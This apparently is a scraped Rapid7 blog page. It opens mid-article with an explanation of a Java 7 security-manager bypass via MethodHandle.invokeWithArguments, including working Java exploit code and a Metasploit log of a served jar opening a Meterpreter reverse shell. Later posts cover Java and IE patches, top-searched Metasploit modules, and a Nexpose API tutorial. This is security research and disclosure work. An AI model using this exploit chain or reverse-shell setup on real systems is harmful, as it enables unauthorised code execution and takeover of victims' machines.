/** * Performs a variable arity invocation, passing the arguments in the given array * to the method handle, as if via an inexact {@link #invoke invoke} from a call site * which mentions only the type {@code Object}, and whose arity is the length * of the argument array. * <p> * Specifically, execution proceeds as if by the following steps, * although the methods are not guaranteed to be called if the JVM * can predict their effects. * <ul> * <li>Determine the length of the argument array as {@code N}. * For a null reference, {@code N=0}. </li> * <li>Determine the general type {@code TN} of {@code N} arguments as * as {@code TN=MethodType.genericMethodType(N)}.</li> * <li>Force the original target method handle {@code MH0} to the * required type, as {@code MH1 = MH0.asType(TN)}. </li> * <li>Spread the array into {@code N} separate arguments {@code A0, ...}. </li> * <li>Invoke the type-adjusted method handle on the unpacked arguments: * MH1.invokeExact(A0, ...). </li> * <li>Take the return value as an {@code Object} reference. </li> * </ul> * <p> * Because of the action of the {@code asType} step, the following argument * conversions are applied as necessary: * <ul> * <li>reference casting * <li>unboxing * <li>widening primitive conversions * </ul> * <p> * The result returned by the call is boxed if it is a primitive, * or forced to null if the return type is void. * <p> * This call is equivalent to the following code: * <p><blockquote><pre> * MethodHandle invoker = MethodHandles.spreadInvoker(this.type(), 0); * Object result = invoker.invokeExact(this, arguments); * </pre></blockquote> * <p> * Unlike the signature polymorphic methods {@code invokeExact} and {@code invoke}, * {@code invokeWithArguments} can be accessed normally via the Core Reflection API and JNI. * It can therefore be used as a bridge between native or reflective code and method handles. * * @param arguments the arguments to pass to the target * @return the result returned by the target * @throws ClassCastException if an argument cannot be converted by reference casting * @throws WrongMethodTypeException if the target's type cannot be adjusted to take the given number of {@code Object} arguments * @throws Throwable anything thrown by the target method invocation * @see MethodHandles#spreadInvoker */ public Object invokeWithArguments(Object... arguments) throws Throwable { int argc = arguments == null ? 0 : arguments.length; MethodType type = type(); if (type.parameterCount() != argc || isVarargsCollector()) { // simulate invoke return asType(MethodType.genericMethodType(argc)).invokeWithArguments(arguments); } MethodHandle invoker = type.invokers().varargsInvoker(); return invoker.invokeExact(this, arguments); } It's interesting because, as documented by Security Explorations, it allows to bypass security checks based on the immediate caller. It can be abused to get references to restricted classes with a code like that: MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0); Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); The root cause is Class.forName() method being one of these doing security checks based on the immediate caller: /** * Returns the {@code Class} object associated with the class or * interface with the given string name. Invoking this method is * equivalent to: * * <blockquote> * {@code Class.forName(className, true, currentLoader)} * </blockquote> * * where {@code currentLoader} denotes the defining class loader of * the current class. * * <p> For example, the following code fragment returns the * runtime {@code Class} descriptor for the class named * {@code java.lang.Thread}: * * <blockquote> * {@code Class t = Class.forName("java.lang.Thread")} * </blockquote> * <p> * A call to {@code forName("X")} causes the class named * {@code X} to be initialized. * * @param className the fully qualified name of the desired class. * @return the {@code Class} object for the class with the * specified name. * @exception LinkageError if the linkage fails * @exception ExceptionInInitializerError if the initialization provoked * by this method fails * @exception ClassNotFoundException if the class cannot be located */ public static Class<?> forName(String className) throws ClassNotFoundException { return forName0(className, true, ClassLoader.getCallerClassLoader()); } The forName method will use the ClassLoader.getCallerClassLoader() to get the invoker ClassLoader and use it as the defining one of the current class. This getCallerClassLoader is trying to retrieve the caller and its ClassLoader: // Returns the invoker's class loader, or null if none. // NOTE: This must always be invoked when there is exactly one intervening // frame from the core libraries on the stack between this method's // invocation and the desired invoker. static ClassLoader getCallerClassLoader() { // NOTE use of more generic Reflection.getCallerClass() Class caller = Reflection.getCallerClass(3); // This can be null if the VM is requesting it if (caller == null) { return null; } // Circumvent security check since this is package-private return caller.getClassLoader0(); } But because of the wrapper method, the Reflection.getCallerClass(3) will see the invokeWithArgument() as the caller, and the getCallerClassLoader will finally use the loader for the MethodHandle system class (not the one for the Exploit class): It will allow to get references to the restricted sun.org.mozilla.javascript.internal.Context and sun.org.mozilla.javascript.internal.GeneratedClassLoader classes. After that, recursive reflection is used, as exploited in the wild with CVE-2013-0422. The recursive reflection technique has been also documented also by @sagar38 here and @mihi42 here. It works because the new Reflection API security is also based in check the caller at the moment of acquire a MethodHandle. For example, we can check the MethodHandles.Lookup.findVirtual() method: public MethodHandle findVirtual(Class<?> refc, String name, MethodType type) throws NoSuchMethodException, IllegalAccessException { MemberName method = resolveOrFail(refc, name, type, false); checkSecurityManager(refc, method); // stack walk magic: do not refactor return accessVirtual(refc, method); } It uses the checkSecurityManager function to perform access checks, also based in the caller Class (again will see, incorrectly, the MethodHandle class as the caller): /** * Perform necessary <a href="MethodHandles.Lookup.html#secmgr">access checks</a>. * This function performs stack walk magic: do not refactor it. */ void checkSecurityManager(Class<?> refc, MemberName m) { SecurityManager smgr = System.getSecurityManager(); if (smgr == null) return; if (allowedModes == TRUSTED) return; // Step 1: smgr.checkMemberAccess(refc, Member.PUBLIC); // Step 2: Class<?> callerClass = ((allowedModes & PRIVATE) != 0 ? lookupClass // for strong access modes, no extra check // next line does stack walk magic; do not refactor: : getCallerClassAtEntryPoint(true)); if (!VerifyAccess.classLoaderIsAncestor(lookupClass, refc) || (callerClass != lookupClass && !VerifyAccess.classLoaderIsAncestor(callerClass, refc))) smgr.checkPackageAccess(VerifyAccess.getPackageName(refc)); // Step 3: if (m.isPublic()) return; Class<?> defc = m.getDeclaringClass(); smgr.checkMemberAccess(defc, Member.DECLARED); // STACK WALK HERE // Step 4: if (defc != refc) smgr.checkPackageAccess(VerifyAccess.getPackageName(defc)); // Comment from SM.checkMemberAccess, where which=DECLARED: /* * stack depth of 4 should be the caller of one of the * methods in java.lang.Class that invoke checkMember * access. The stack should look like: * * someCaller [3] * java.lang.Class.someReflectionAPI [2] * java.lang.Class.checkMemberAccess [1] * SecurityManager.checkMemberAccess [0] * */ // For us it is this stack: // someCaller [3] // Lookup.findSomeMember [2] // Lookup.checkSecurityManager [1] // SecurityManager.checkMemberAccess [0] } The technique to finally disable the Security Manager is the same as in the previous case. MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); MethodType localMethodType2 = MethodType.methodType(Void.TYPE); MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 }); Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class }); MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 }); Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer }); localClass3.newInstance(); And again, the another of  the new modules in action: msf exploit(java_jre17_method_handle) > rexploit [*] Stopping existing job... [*] Reloading module... [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.128:4444 [*] Using URL: http://0.0.0.0:8080/ZxzpOK7 [*] Local IP: http://192.168.1.128:8080/ZxzpOK7 [*] Server started. msf exploit(java_jre17_method_handle) > [*] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7 [*] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/ [*] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar [*] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar [*] Sending stage (30216 bytes) to 192.168.1.142 [*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.142:3148) at 2013-01-17 21:07:22 +0100 msf exploit(java_jre17_method_handle) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: Administrator meterpreter > sysinfo Computer : juan-c0de875735 OS : Windows XP 5.1 (x86) Meterpreter : java/java meterpreter > Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

January is not over yet

Seems like a lot of activity already this year in the security world by way of high profile, already being exploited vulnerabilities.   First the Adobe Flash and Acrobat/Reader fixes, then the Ruby on Rails exploit and now Oracle turning around a fast…

Seems like a lot of activity already this year in the security world by way of high profile, already being exploited vulnerabilities.   First the Adobe Flash and Acrobat/Reader fixes, then the Ruby on Rails exploit and now Oracle turning around a fast fix and Microsoft delivering an out-of-band patch for Internet Explorer.Oracle has moved quickly to release a fix for the vulnerability (CVE-2013-0422) which as of last week was publicly known to be "weaponized" in widely available black market exploit kits. This fix is available now as Java 7u11 and anyone who uses Java in their browser should update immediately. This fix also changes the default Java browser security settings to require user consent to execute Java applets which are not digitally signed, or are self-signed, which is indicates that Oracle has made a minor concession against ease-of-use to try to protect users from the *next* time a Java vulnerability is exploited in the wild.Microsoft has released an out-of-band advisory and patch for Internet Explorer to address a vulnerability affecting versions 6, 7, & 8 (CVE-2012-4792). If Microsoft's security team is correct, this vulnerability is still seeing only limited exploitation in the wild, but there is no reason to hold off only releasing a fix now that the patch is ready. It's always a race between security teams and malware writers, in this case given the attention this vulnerability has received it likely will not be long before exploitation becomes widespread. Getting a fix out under these circumstances is like immunizing ahead of an outbreak that has already started.Both of these issues will be covered in Nexpose 5.5.6.[EDIT]It's been reported that the current Java patch fixes one of the two bugs being used in the public exploit packs (CVE-2012-3174), but not the more widely reported CVE-2013-0422. That means that this new fix will block the public exploits that are in the wild using this vector, however there is still an issue which could be exploited in combination with some other, yet-to-be-disclosed vulnerability, to gain root. That said, the change of default security settings in the Java browser plugin will help to mitigate against future exploitation.  This may be an indication that Oracle had one patch ready and decided to stop the bleeding rather than wait for a complete fix, in that case we may see another Java patch in the near future.  However, the January Oracle Cumulative Patch Update that is due tomorrow is not expected to include further Java fixes.  The next Java CPU release is not scheduled until February 19, 2013, which is a long time to wait in the world of malware. This begs the question, did Oracle claim to have fixed CVE-2013-0422 when they knew they had not?  I mean, there is no ambiguity in that advisory, it says CVE-2013-0422 is fixed.  If it isn't (as the very smart people who I am inclined to believe), at Immunity Sec have demonstrated, then did Oracle somehow not know this?  Or did they just put something out there that stopped the exploit that they knew about and then stopped looking for the issue (as they have done in the past)?  Or did they know this was an incomplete fix but they wanted to take the heat off?  Either way, it's not impressive.

Exploit Trends: Top 10 Searches for Metasploit Modules in October

Time for your monthly dose of Metasploit exploit trends! Each month we gather this list of the most searched exploit and auxiliary modules from the Metasploit database. To protect users' privacy, the statistics come from analyzing webserver logs of searches, not from monitoring Metasploit usage.…

Time for your monthly dose of Metasploit exploit trends! Each month we gather this list of the most searched exploit and auxiliary modules from the Metasploit database. To protect users' privacy, the statistics come from analyzing webserver logs of searches, not from monitoring Metasploit usage.October was a quiet month for exploit headlines, so not a whole lot of action on the list. The high traffic to Java and IE modules from their respective 0-days settled down, so you'll see some shuffling of order from that. Check out October's exploit and auxiliary modules below, annotated with Tod Beardsley's commentary.1. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It's also got a great pile of language pack targets. All of Metasploit's exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you've ever heard of. This exploit is also not ancient, so it's reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it. More on this topic at Microsoft's Security TechCenter. Up three places from #4 last month.2. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody's gotten RCE yet (in public), but the Metasploit module provides the most clues. More on this topic in an article on ZD Net. Up three places from #5 last month.3.  Java 7 Applet Remote Code Execution: Over a fateful weekend in August, Metasploit exploit devs Wei "sinn3r" Chen, Juan Vazquez, and contributor Josh "jduck" Drake got together on IRC and put together a Metasploit module to take advantage of the vulnerability reported privately to Oracle by Adam Gowdiak and James Forshow. Here's the twist: Nobody at the time knew about Adam's or James's private disclosure to Oracle -- this bug was instead spotted in the wild way before Oracle was planning to release their fix. So, we started the week with a new Java 0-day, and by the end of the week, after much speculation, Oracle did the right thing and accelerated their patch schedule. Interesting times, to say the least. Down one place from #2 last month.4.  Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines - this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It's now pretty much a case study in stack buffer overflows in Windows, so it's got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2. More info on that at Windows IT Pro. Up two places from #6 last month.5. MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability: This bug started off with Eric Romang's blog post and ended up with a module being cooked up over a weekend by Eric, @binjo, and the Metasploit exploit dev team. This event, like the Java 0-day, had the net effect of speeding up the vendor's patch schedule. If there was no public, open exploit, would there have been a patch so rapidly? Was it connected with Java 0-day? Who's the primary source for these critical client-side bugs, anyway? These and other questions are still being speculated on and debated in the security industry and security press. Down two places from #3 last month.6. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It's not sexy, but it's super handy for testing payloads and setup. I'd bet it's the most-used module in classroom and test environments. More on this topic in at the National Vulnerability Database. Up two places from #8 last month.7. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop: Not sure why this module is still popular -- it's a client side DoS. Historically, it's a neat DoS, since it demos a bug in Windows 7's kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you. Up three places from #10 last month.8. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that's notable in that there's no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice. More on this topic in at Microsoft's Security TechCenter. Down one place from #7 last month.9. PHP CGI Argument Injection: This exploits CVE-2012-1823, a vulnerability in the way PHP-CGI handles parameters passed on GET requests. The vulnerability was discovered during a capture-the-flag exercise at NullCon in January 2012, and the bug's life cycle is pretty thoroughly documented over at De Eindbazen. Here's the short story: this bug, which allows for command execution via GET requests to PHP-CGI installtions, has been knocking around PHP installations since 2004. It was first reported to PHP in January of 2012 (yes, eight years after it was introduced), subsequently leaked accidentally in May of 2012, and actively exploited shortly thereafter. Back from #8 on August's Exploit Trends.10. Apache mod_isapi <= 2.2.14 Dangling Pointer: Although this is an exploit in Apache, don't be fooled! It's only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module's release), and it's only a DoS. Again, kind of a mystery as to why it's so popular. Down one place from #9 last month.If you' d like to try out any of these exploits, download Metasploit for free!

Multi-tenant User Provisioning

Introduction Performing bulk operations can be time consuming in Nexpose. A good example is user provisioning, which can take a long time. To save time, using the Nexpose APIs is an effective way to save you time and eliminate the error-prone process of doing everything…

Introduction Performing bulk operations can be time consuming in Nexpose. A good example is user provisioning, which can take a long time. To save time, using the Nexpose APIs is an effective way to save you time and eliminate the error-prone process of doing everything manually. For this blog post, I want to demonstrate how you can manage users using the Nexpose API. I will be using an open source Java API client, which is available on clee-r7/nexpose_java_api · GitHub. Logging Into Nexpose Before provisioning users, we need to log into Nexpose. Here is an example on how to log into Nexpose. APISession session = new APISession(new URL(nexposeConsoleURL), "xml", APISupportedVersion.V1_2, username, password); APIResponse response = session.login(null); For the example above, you will have to specify the url to your Nexpose console, your username, and your password. Now that we have successfully logged in, we can move onto retrieving a list of users in Nexpose. Remember to hold a reference to the APISession object; the object is required for the later examples. Listing Users The example below makes an API request to UserListingRequest in order to retrieve the list of users. Each user's information is located inside of the UserSummary element. The last statement populates the NodeList object with a list of the users, including their user ID. UserListingRequest request = new UserListingRequest(session.getSessionID(), null); APIResponse response = session.executeAPIRequest(request); NodeList users = response.grabNodes("//UserListingResponse/UserSummary"); Creating Multi-tenant Users This next example creates a multi-tenant user for a silo. For this example, the silo ID is "silo1". All of the user's properties as well as permissions are declared at the beginning for clarity. // specify user info String fullName = "Bobby Jones"; String authSourceID = "2"; String email = "bobby@email.com"; String userName = "nxUser"; String password = "mypassword"; String isEnabled = "true"; String isSuperUser = "false"; // silo and role information String siloID = "silo1"; String defaultSilo = "true"; String roleName = "global-admin"; // can be the name of any of the built-in roles in Nexpose or user-defined roles String accessToAllSites = "true"; String accssToAllGroups = "false"; // for every silo you want the user to have access to, create a separate SiloAccess object and add it to the list "silos" SiloAccess siloAccess = new SiloAccess(accssToAllGroups, accessToAllSites, defaultSilo, roleName, siloID); List<SiloAccess> silos = new ArrayList<SiloAccess>(); silos.add(siloAccess); MultiTenantUserConfigSiloAccessGenerator siloAccessGenerator = new MultiTenantUserConfigSiloAccessGenerator(); siloAccessGenerator.setSilos(silos); // make the request to create the user MultiTenantUserCreateRequest request = new MultiTenantUserCreateRequest( session.getSessionID(), null, fullName, authSourceID, email, password, isEnabled, userName, isSuperUser, siloAccessGenerator); APIResponse response = session.executeAPIRequest(request); // get the user's ID from the response String userID = response.grab("//MultiTenantUserCreateResponse/@user-id"); Deleting Muti-tenant Users String userID; // retrieved using the UserListingRequest from the example above MultiTenantUserDeleteRequest deleteRequest = new MultiTenantUserDeleteRequest(session.getSessionID(), null, userID); APIResponse deleteResponse = session.executeAPIRequest(deleteRequest); Deleting a user requires specifying the user's unique ID. It's the ID that is returned from the response from MultiTenantUserCreateRequest. You can also access it from the UserSummary element from the user listing example above.

Exploit Trends: Java and IE 0days

Each month we report the top ten searched exploit and auxiliary modules on metasploit.com. The statistics are drawn from our exploit database by analyzing webserver logs of searches, not through Metasploit usage which is not tracked to preserve privacy.With the Java and Internet…

Each month we report the top ten searched exploit and auxiliary modules on metasploit.com. The statistics are drawn from our exploit database by analyzing webserver logs of searches, not through Metasploit usage which is not tracked to preserve privacy.With the Java and Internet Explorer 0-days in August and September, this month's exploit trends from Metasploit really shook-up the status quo. And, just to make things more interesting, there are a couple exploits from April that came back for an encore at numbers 9 & 10.Without further ado, here are September's Top Ten Exploits with commentary from Metasploit guru todb.1. Java Atomic Reference Array Type Violation Vulnerablity (CVE-2012-0507): A returning entry from the April Top 10, this module makes its comeback because of all the Java 0day traffic from August. This was initially discovered in the wild as a Java 0-day, and this module represented the fevered work of sinn3r and Juan Vazquez, who turned out the first reliable public cross-platform exploit for the bug.The blog post "CVE-2012-0507 - Java Strikes Again" shows a screenshot of Meterpreter sessions on Windows, Ubuntu, and OSX systems. In fact, this may be the first publicly demonstrable Java exploit that just works against all three platforms for the vulnerable versions of Java -- no extra configuration or fingerprinting is needed. Returning entry from the April Top 10 Exploits.2. Java 7 Applet Remote Code Execution: Over a fateful weekend in August, Metasploit exploit devs Wei "sinn3r" Chen, Juan Vazquez, and contributor Josh "jduck" Drake got together on IRC and put together a Metasploit module to take advantage of the vulnerability reported privately to Oracle by Adam Gowdiak and James Forshow. Here's the twist: Nobody at the time knew about Adam's or James's private disclosure to Oracle -- this bug was instead spotted in the wild way before Oracle was planning to release their fix. So, we started the week with a new Java 0-day, and by the end of the week, after much speculation, Oracle did the right thing and accelerated their patch schedule. Interesting times, to say the least. Down one place from #1 last month.3. MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability: This bug started off with Eric Romang's blog post and ended up with a module being cooked up over a weekend by Eric, @binjo, and the Metasploit exploit dev team. This event, like the Java 0-day, had the net effect of speeding up the vendor's patch schedule. If there was no public, open exploit, would there have been a patch so rapidly? Was it connected with Java 0-day? Who's the primary source for these critical client-side bugs, anyway? These and other questions are still being speculated on and debated in the security industry and security press. New entry this month.4. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It's also got a great pile of language pack targets. All of Metasploit's exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you've ever heard of. This exploit is also not ancient, so it's reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it. More on this topic at Microsoft's Security TechCenter. Down two places from #2 since last month.5. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody's gotten RCE yet (in public), but the Metasploit module provides the most clues. More on this topic in an article on ZD Net. Down two places from #3 since last month.6. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines - this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It's now pretty much a case study in stack buffer overflows in Windows, so it's got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2. More info on that at Windows IT Pro. Down two places from #4 since last month.7. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that's notable in that there's no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice. More on this topic in at Microsoft's Security TechCenter. Down two places from #5 since last month.8. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It's not sexy, but it's super handy for testing payloads and setup. Even though it's a lowly #10, I'd bet it's the most-used module in classroom and test environments. More on this topic in at the National Vulnerability Database. Down two places from #6 since last month.9. Apache mod_isapi <= 2.2.14 Dangling Pointer: Another returning module from April, although why this one's back is a bit more of a mystery. Although this is an exploit in Apache, don't be fooled! It's only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module's release), and it's only a DoS. Again, kind of a mystery as to why it's so popular. Returning entry from the April Top 10 Exploits.10. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop: The third April comeback module, and still not sure why this module is popular -- it's a client side DoS. Historically, it's a neat DoS, since it demos a bug in Windows 7's kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you. Returning Entry from the April Top 10 Exploits. If you want to use any of these exploits right now, you can download Metasploit for free!

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now